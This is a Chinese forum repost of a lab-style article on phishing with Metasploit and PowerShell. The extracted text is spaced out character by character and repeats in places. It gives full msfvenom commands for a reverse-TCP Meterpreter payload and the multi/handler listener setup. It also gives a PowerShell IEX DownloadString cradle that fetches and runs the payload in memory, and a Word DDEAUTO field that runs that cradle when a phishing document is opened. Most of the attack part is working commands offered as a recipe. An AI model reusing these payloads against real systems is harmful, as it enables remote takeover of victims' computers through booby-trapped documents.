搜索

[22292] 2021-08-27_MSF&Powershell进行钓鱼攻击

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-08-27_MSF&Powershell进行钓鱼攻击 M S F & P o w e r s h e l l 进 行 钓 鱼 攻 击 安 全 鸭   L e m o n S e c   2 0 2 1 - 0 8 - 2 7 一 、 一 、 P o w e r s h e l l 配 合 配 合 M S F 无 文 件 攻 击 无 文 件 攻 击 实 验 环 境 ： 实 验 环 境 ： 攻 击 机 k a l i 1 9 2 . 1 6 8 . 1 . 7 靶 机 w i n   0 7 1 9 2 . 1 6 8 . 1 . 9 w e b 服 务 器 w i n   1 0 1 9 2 . 1 6 8 . 1 . 6 本 次 实 验 的 大 致 过 程 如 下 本 次 实 验 的 大 致 过 程 如 下 :         M S F 生 成 生 成 p a y l o a d 并 放 到 靶 机 能 够 访 问 的 服 务 器 上 ， 攻 击 者 通 过 钓 鱼 等 方 式 使 靶 机 执 行 并 放 到 靶 机 能 够 访 问 的 服 务 器 上 ， 攻 击 者 通 过 钓 鱼 等 方 式 使 靶 机 执 行 p o w e r s h e l l 代 码 ， 靶 机 反 弹 到 代 码 ， 靶 机 反 弹 到 m s f 监 听 的 端 口 上 建 立 会 话 ， 由 此 攻 击 者 可 以 利 用 此 会 话 完 成 攻 击 控 制 靶 机 。 监 听 的 端 口 上 建 立 会 话 ， 由 此 攻 击 者 可 以 利 用 此 会 话 完 成 攻 击 控 制 靶 机 。 实 验 步 骤 ： 实 验 步 骤 ： 1 .   k a l i 生 成 p a y l o a d : #   生 成 名 为 x . p s 1 的 w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p 的 p a y l o a d 2 .   m s f   设 置 监 听 将 刚 刚 生 成 的 p a y l o a d 放 到 公 网 服 务 器 ， 确 保 靶 机 能 够 访 问 。 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 7   L P O R T = 1 1 2 1   - f   p s h - r e f l e c t i o n   > x . p s 1 m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 7 s e t   l p o r t   1 1 2 1 r u n #   m s f 开 始 监 听 本 机 1 1 2 1 端 口
在 靶 机 直 接 运 行 p o w e r s h e l l 脚 本 ， 实 战 需 要 其 他 方 式 运 行 此 代 码 ： #   代 码 中 的 地 址 为 公 网 地 址 。 通 过 w o r d 域 代 码 执 行 p o w e r s h e l l 脚 本 调 用 w e b 服 务 器 p o a y l o a d 下 载 到 靶 机 内 存 中 执 行 当 靶 机 成 功 执 行 以 上 命 令 之 后 ， 当 靶 机 成 功 执 行 以 上 命 令 之 后 ， m s f 会 收 到 会 话 如 下 图 ， 此 时 已 经 成 功 建 立 会 话 ， 可 控 制 靶 机 。 实 验 成 功 ； 会 收 到 会 话 如 下 图 ， 此 时 已 经 成 功 建 立 会 话 ， 可 控 制 靶 机 。 实 验 成 功 ； 二 、 二 、 P o w e r s h e l l 配 合 配 合 w o r d 钓 鱼 钓 鱼 p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 6 / x . p s 1 ' )
攻 击 机 k a l i 1 9 2 . 1 6 8 . 1 . 7 靶 机 w i n   0 7 1 9 2 . 1 6 8 . 1 . 9 ( 安 装 有 o f f i c e 2 0 1 3 ) w e b 服 务 器 w i n   1 0 1 9 2 . 1 6 8 . 1 . 6   原 理 ： 原 理 ： 新 建 w o r d 文 档 ， 调 用 快 捷 键 ： C T R L + F 9 , 填 写 域 代 码 ：     然 后 保 存 w o r d ， 再 次 打 开 时 会 执 行 代 码 弹 出 记 事 本 程 序 。 w o r d 可 以 通 过 域 代 码 执 行 系 统 命 令 可 以 通 过 域 代 码 执 行 系 统 命 令 。 本 实 验 利 用 w o r d 域 调 用 p o w e r s h e l l 代 码 从 而 建 立 会 话 ， 控 制 靶 机 。 本 次 实 验 的 大 致 过 程 如 下 ： 本 次 实 验 的 大 致 过 程 如 下 ：       将 M S F 生 成 p a y l o a d 并 放 到 公 网 ( 模 拟 ) w e b 服 务 器 上 ， 确 保 靶 机 能 够 访 问 。 对 靶 机 进 行 w o r d 钓 鱼 攻 击 。 当 靶 机 打 开 w o r d 文 件 ， 会 下 载 p o w e r s h e l l   p a y l o a d 到 本 地 并 执 行 ， 从 而 建 立 会 话 进 行 无 文 件 攻 击 。 实 验 步 骤 ： 实 验 步 骤 ： 1 .   k a l i 生 成 p s 脚 本 : #   生 成 名 为 x . p s 2 的 w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p 的 p a y l o a d         2 .   m s f   设 置 监 听 { D D E A U T O   C : w i n d o w s s y s t e m 3 2 c m d . e x e   " / k   n o t e p a d . e x e } m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 7   L P O R T = 1 1 2 2   - f   p s h - r e f l e c t i o n   > x . p s 2 m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 7 s e t   l p o r t   1 1 2 2 r u n #   m s f 开 始 监 听 本 机 1 1 2 2 端 口
        3 . 将 生 成 的 p a y l o a d 放 到 公 网 服 务 器 ， 确 保 靶 机 能 够 访 问 。         4 . 在 本 地 新 建 w o r d 文 档 设 置 域 （ 快 捷 键 ： C T R L + F 9 ） ， 域 内 代 码 为 ：         5 . 通 过 钓 鱼 等 方 式 将 该 w o r d 文 档 发 送 到 靶 机 诱 使 靶 机 点 击 文 档 。 成 功 建 立 会 话 ， 可 控 制 靶 机 。 实 验 成 功 可 控 制 靶 机 。 实 验 成 功 ： - - - 》 强 烈 推 荐 ： 强 烈 推 荐 ：         每 日 发 布 每 日 发 布   红 队 攻 防 技 术 文 章 、 蓝 队 防 守 技 术 文 章 、 红 队 攻 防 技 术 文 章 、 蓝 队 防 守 技 术 文 章 、 c t f 安 全 赛 事 技 术 文 章 、 安 全 运 维 基 线 文 章 、 以 及 不 定 期 安 全 赛 事 技 术 文 章 、 安 全 运 维 基 线 文 章 、 以 及 不 定 期 的 安 全 类 书 籍 抽 奖 ～ 的 安 全 类 书 籍 抽 奖 ～ D D E A U T O   C : w i n d o w s s y s t e m 3 2 c m d . e x e   " / k   p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 6 / x . p s 2 ' )   "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理